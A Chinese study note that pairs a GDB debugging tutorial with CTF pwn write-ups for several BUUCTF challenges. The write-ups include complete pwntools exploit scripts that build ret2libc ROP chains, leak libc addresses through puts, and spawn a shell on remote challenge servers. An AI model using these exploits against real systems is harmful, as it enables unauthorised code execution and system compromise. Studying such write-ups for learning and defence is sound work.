GDB调试
简介
UNIX及UNIX-like下的调试工具。虽然它是命令行模式的调试工具,但是它的功能强大到你无法想象,能够让用户在程序运行时观察程序的内部结构和内存的使用情况。
一般来说,GDB主要帮助你完成下面四个方面的功能:
1、按照自定义的方式启动运行需要调试的程序。
2、可以使用指定位置和条件表达式的方式来设置断点。
3、程序暂停时的值的监视。
4、动态改变程序的执行环境。
GDB 的主要功能就是监控程序的执行流程。这也就意味着,只有当源程序文件编译为可执行文件并执行时,并且该文件中必须包含必要的调试信息(比如各行代码所在的行号、包含程序中所有变量名称的列表(又称为符号表)等),GDB才会派上用场。
所以在编译时需要使用 gcc/g++ -g 选项编译源文件,才可生成满足 GDB 要求的可执行文件
原理
gdb就是基于ptrace这个系统调用来做的。其原理是利用ptrace系统调用,在被调试程序和gdb之间建立追踪关系。然后所有发送给被调试程序(被追踪线程)的信号(除SIGKILL)都会被gdb截获,gdb根据截获的信号,查看被调试程序相应的内存地址,并控制被调试的程序继续运行
调试命令
建立调试关系
用gdb调试程序,可以直接gdb ./test,也可以gdb <pid>(test的进程号)。这对应着使用ptrace建立跟踪关系的两种方式:
1)fork: 利用fork+execve执行被测试的程序,子进程在执行execve之前调用ptrace(PTRACE_TRACEME),建立了与父进程(debugger)的跟踪关系。如我们在分析strace时所示意的程序。
2)attach: debugger可以调用ptrace(PTRACE_ATTACH,pid,...),
建立自己与进程号为pid的进程间的跟踪关系。
即利用PTRACE_ATTACH,使自己变成被调试程序的父进程(用ps可以看到)。
用attach建立起来的跟踪关系,可以调用ptrace(PTRACE_DETACH,pid,...)来解除。
注意attach进程时的权限问题,如一个非root权限的进程是不能attach到一个root进程上的
断点调试
启动程序
根据不同场景的需要,GDB 调试器提供了多种方式来启动目标程序,其中最常用的就是run 指令,其次为 start 指令。也就是说,run和 start 指令都可以用来在 GDB 调试器中启动程序,它们之间的区别是:
默认情况下,run 指令会一直执行程序,直到执行结束。如果程序中手动设置有断点,则 run指令会执行程序至第一个断点处;
start 指令会执行程序至main()主函数的起始位置,即在main()函数的第一行语句处停止执行(该行代码尚未执行)。
break命令
break 命令(可以用b 代替)常用的语法格式有以下 2 种。
1、(gdb) break location // b location
2、(gdb) break ... if cond // b .. if cond
观察断点监控变量值的变化
观察断点
要知道,GDB 调试器支持在程序中打 3 种断点,分别为普通断点、观察断点和捕捉断点。其中 break 命令打的就是普通断点,而 watch 命令打的为观察断点。
使用 GDB 调试程序的过程中,借助观察断点可以监控程序中某个变量或者表达式的值,只要发生改变,程序就会停止执行。相比普通断点,观察断点不需要我们预测变量(表达式)值发生改变的具体位置
(gdb) watch cond
和 watch 命令功能相似的,还有 rwatch 和awatch 命令。其中:
rwatch 命令:只要程序中出现读取目标变量(表达式)的值的操作,程序就会停止运行;
awatch 命令:只要程序中出现读取目标变量(表达式)的值或者改变值的操作,程序就会停止运行。
查看变量或表达式的值
对于在调试期间查看某个变量或表达式的值,GDB
调试器提供有 2 种方法,即使用 print
命令或者 display
命令。
print 命令
它的功能就是在 GDB 调试程序的过程中,输出或者修改指定变量或者表达式的值。
print 命令可以缩写为 p,最常用的语法格式如下所示:
(gdb) print num
(gdb) p num
其中,参数 num 用来代指要查看或者修改的目标变量或者表达式。
当程序中包含多个作用域不同但名称相同的变量或表达式时,可以借助::运算符明确指定要查看的目标变量或表达式。::运算符的语法格式如下:
(gdb) print file::variable
(gdb) print function::variable
其中 file用于指定具体的文件名,funciton 用于指定具体所在函数的函数名,variable表示要查看的目标变量或表达式。
另外,print也可以打印出类或者结构体变量的值。
display 命令
和 print 命令一样,display 命令也用于调试阶段查看某个变量或表达式的值,它们的区别是,使用 display 命令查看变量或表达式的值,每当程序暂停执行(例如单步执行)时,GDB 调试器都会自动帮我们打印出来,而 print 命令则不会。
也就是说,使用 1 次 print 命令只能查看 1 次某个变量或表达式的值,而同样使用 1 次 display 命令,每次程序暂停执行时都会自动打印出目标变量或表达式的值。因此,当我们想频繁查看某个变量或表达式的值从而观察它的变化情况时,使用 display 命令可以一劳永逸。
display 命令没有缩写形式,常用的语法格式如下 2 种:
(gdb) display expr
(gdb) display/fmt expr
注意,display 命令和 /fmt 之间不要留有空格。以 /x 为例,应写为 (gdb)display/x expr。
单步调试
根据实际场景的需要,GDB 调试器共提供了 3 种可实现单步调试程序的方法,即使用 next、step 和 until 命令。换句话说,这 3 个命令都可以控制 GDB调试器每次仅执行 1 行代码,但除此之外,它们各自还有不同的功能。
next命令
next 是最常用来进行单步调试的命令,其最大的特点是当遇到包含调用函数的语句时,无论函数内部包含多少行代码,next 指令都会一步执行完。也就是说,对于调用的函数来说,next 命令只会将其视作一行代码。
next 命令可以缩写为n 命令,使用方法也很简单,语法格式如下:
(gdb) next count
step命令
通常情况下,step 命令和next命令的功能相同,都是单步执行程序。不同之处在于,当step 命令所执行的代码行中包含函数时,会进入该函数内部,并在函数第一行代码处停止执行。
step 命令可以缩写为 s命令,用法和 next 命令相同,语法格式如下:
(gdb) step count
until命令
until 命令可以简写为 u 命令,有 2 种语法格式,如下所示:
1、(gdb) until
2、(gdb) until location
其中,参数 location为某一行代码的行号。
不带参数的 until命令,可以使 GDB调试器快速运行完当前的循环体,并运行至循环体外停止。注意,until 命令并非任何情况下都会发挥这个作用,只有当执行至循环体尾部(最后一行代码)时,until命令才会发生此作用;反之,until命令和 next 命令的功能一样,只是单步执行程序。
return命令
实际调试时,在某个函数中调试一段时间后,可能不需要再一步步执行到函数返回处,希望直接执行完当前函数,这时可以使用 finish命令。与finish 命令类似的还有 return 命令,它们都可以结束当前执行的函数。
finish命令
finish 命令和 return命令的区别是,finish命令会执行函数到正常退出;而 return 命令是立即结束执行当前函数并返回,也就是说,如果当前函数还有剩余的代码未执行完毕,也不会执行了。除此之外,return命令还有一个功能,即可以指定该函数的返回值。
jump命令
jump 命令的功能是直接跳到指定行继续执行程序,其语法格式为:
(gdb) jump location
其中,location 通常为某一行代码的行号。
也就是说,jump 命令可以略过某些代码,直接跳到 location处的代码继续执行程序。这意味着,如果你跳过了某个变量(对象)的初始化代码,直接执行操作该变量(对象)的代码,很可能会导致程序崩溃或出现其它 Bug。另外,如果 jump跳转到的位置后续没有断点,那么 GDB会直接执行自跳转处开始的后续代码。
search 命令
调试文件时,某些时候可能会去找寻找某一行或者是某一部分的代码。可以使用 list 显示全部的源码,然后进行查看。当源文件的代码量较少时,我们可以使用这种方式搜索。如果源文件的代码量很大,使用这种方式寻找效率会很低。所以 GDB中提供了相关的源代码搜索的的search命令。
search 命令的语法格式为:
search <regexp>
reverse-search <regexp>
第一项命令格式表示从当前行的开始向前搜索,后一项表示从当前行开始向后搜索。其中regexp 就是正则表达式,正则表达式描述了一种字符串匹配的模式,可以用来检查一个串中是否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串。很多的编程语言都支持使用正则表达式。
断点调试和单步调试参考GDB调试命令详解-CSDN博客
1(ret2libc)
checksec(64位,开启了nx保护)
进入ida分析,先查看main函数伪代码
查看begin函数,没有异常,查看encrypt函数,发现了gets溢出
并且由于程序本身并没有 system
/bin/sh
的调用,放弃使用ret2text和ret2syscall的想法
故我们考虑利用 ret2libc
通过已经调用过的函数去泄露它在程序中的地址,然后利用地址末尾的3个字节,去找到该程序所用的libc版本;
程序中函数的地址跟libc中函数的地址的关系:程序函数地址=加载程序的基址+libc中函数偏移量
想办法通过encrypt函数的 get函数栈溢出获得其中一个函数的地址
通过LibcSearcher得到该函数在对应libc中的偏移量即可得到 加载程序的基址
基本构造
在此之前,我们需要先了解32位和64位程序调用函数传参的差别;
32位直接通过栈来传参,而64位则先使用寄存器RDI、RSI、RDX、RCX、R8、R9进行传参,如果多余6个参数,则再使用栈进行传参;
main_addr:通过IDA64即可查看main函数的起始地址为0x400B28
pop_rdi_addr:可通过使用ROPgadget工具进行查找,可得地址为 0x400c83
ROPgadget --binary ./ciscn_2019_c_1 --only "pop|rdi|ret"
puts_got_addr:通过ELF程序获取 elf.got['puts']
puts_plt_addr:通过ELF程序获取 elf.plt['puts']
编写exp
涉及libcsearch,安装见lieanu/LibcSearcher:clibc 对 ctf 的偏移搜索。 (github.com)
from pwn import *
from LibcSearcher import *
#io = process("./ciscn_2019_c_1")
io = remote("node5.buuoj.cn",27310)
elf = ELF("./ciscn_2019_c_1")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
pop_rdi_ret = 0x400c83
ret = 0x4006b9
#gdb.attach(io)
#pause()
encrypt_addr = elf.symbols["encrypt"]
main_addr = elf.symbols['main']
payload = b'a' * (0x50 + 0x08) + p64(pop_rdi_ret) +p64(puts_got) + p64(puts_plt) +p64(encrypt_addr)
io.sendlineafter("Input your choice!\n",str(1))
io.sendlineafter("Input your Plaintext to be encrypted\n",payload)
io.recvuntil(b"Ciphertext\n")
io.recvuntil(b"\n")
puts_addr = u64(io.recvline().strip().ljust(8,b'\0'))
libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
str_bin_sh = libcbase + libc.dump('str_bin_sh')
payload = b'a' * (0x50 + 0x08) + p64(ret) +p64(pop_rdi_ret) +p64(str_bin_sh) + p64(system_addr) + p64(0)
io.sendlineafter("Input your Plaintext to be encrypted",payload)
io.interactive()
脚本分析
ciscn_2019_en_2
1
checksec(64位,开启了nx保护)
ida中查看main函数的伪代码
__isoc99_scanf用户输入选择,begin开始界面,查看encrypt函数
gets(s);:存在栈溢出的可能性。
if ( v0 >= strlen(s) ):对用户输入的数据判断了长度。
if ( s[x] <= 96 || s[x] > 122 )、if ( s[x] <= 64 || s[x] > 90 )、if ( s[x] > 47 && s[x] <= 57 ):对用户输入的数据分别做对应的加密。
(题目思路
gets(s);存在栈溢出。
用\x00绕过strlen(s),形成栈溢出。
泄露puts()地址,打常规ret2libc。)
ropgadget查找rdi
编写exp
from pwn import *
#start
#r = process("../buu/ciscn_2019_en_2")
r = remote("node5.buuoj.cn",25722)
lib = ELF("../buu/ubuntu18(64).so")
elf = ELF("../buu/ciscn_2019_en_2")
#params
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi_addr = 0x400c83
main_addr = elf.symbols['main']
ret=0x4006b9
#attack
payload = b'\x00' + b'M'*(0x50+8-1) +p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.recv()
r.sendline(b"1")
r.recv()
r.sendline(payload)
r.recvline()
r.recvline()
puts_addr = u64(r.recv(6).ljust(8,b'\x00'))
print("puts_addr: " + hex(puts_addr))
# libc
base_addr = puts_addr - lib.symbols['puts']
system_addr = base_addr + lib.symbols['system']
bin_sh_addr = base_addr + next(lib.search(b'/bin/sh'))
print("system_addr: " + hex(system_addr))
print("bin_sh_addr" + hex(bin_sh_addr))
# obj = LibcSearcher("puts", puts_addr)
# base_addr = puts_addr >> 24
# base_addr = base_addr << 24
# system_addr = base_addr+ obj.dump("system") #system 偏移
# bin_sh_addr = base_addr+ obj.dump("str_bin_sh") #/bin/sh 偏移
#attack2
payload2 = b'\x00' + b'M'*(0x50+8-1) + p64(ret) +p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
r.recv()
r.sendline('1')
r.recv()
r.sendline(payload2)
r.interactive()
bjdctf_2020_babystack
1
checksec(64位,开启了nx保护)
进入ida分析
发现注入的地方,这里有一个无符号整数,在无符号变化的时候,会出现整数溢出
运行的时候,会有两次输入,第一次你输入nbytes,之后第二次输入的截取你nbytes个,之后就继续往下找一下/bin/sh的位置在4006E6这个位置上。
编写exp
jarvisoj_level2_x64
1
checksec(64位,开启了nx保护)
ida中查看main函数的伪代码
进入vulnerable_function函数中发现了溢出漏洞
查看字符串,发现了system函数
bin/sh
接下来只需要构造rop链了
64位的函数调用的第一个参数由rdi寄存器传递,很显然需要用到pop rdi这个gadget,并且几乎每个64位程序里面都能找到它
再需要注意的就是,system调用的时候需要栈对齐,这里采用一个ret来对齐栈
编写exp
from pwn import *
from LibcSearcher import *
from struct import pack
context.os='linux'
context.arch='amd64'
context.log_level='debug'
sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)
io=remote('node5.buuoj.cn',27783)
#io=process('./level2_x64')
elf=ELF('./level2_x64')
ra()
sl('a'*0x88+p64(elf.search(asm('pop rdi\nret')).next())+p64(0x600a90)+p64(elf.search(asm('ret')).next())+p64(elf.plt['system']))
io.interactive()
others_shellcode
1
想要获得一个shell, 除了system("/bin/sh") 以外, 还有一种更好的方法, 就是系统调用中的 execve("/bin/sh", NULL, NULL)获得shell。我们可以在 Linxu系统调用号表 中找到对应的系统调用号,进行调用, 其中32位程序系统调用号用 eax 储存, 第一 、 二 、 三参数分别在 ebx 、ecx 、edx中储存。 可以用 int 80 汇编指令调用。64位程序系统调用号用 rax 储存, 第一 、 二 、 三参数分别在 rdi 、rsi 、rdx中储存。 可以用 syscall 汇编指令调用。
checksec(32位,开启了nx,pie保护)
进入ida分析,main函数中只有getshell这一个函数,不存在system和bin/sh ,查看getshell,发现了execve
tab+空格查看发现int 80指令,eax=0FFFFFFFFh-0FFFFFFF4h=11=result
查看Linux系统调用号表,11对应的为execveLinux系统调用号表_linux系统调用编号表位置-CSDN博客
尝试nc连接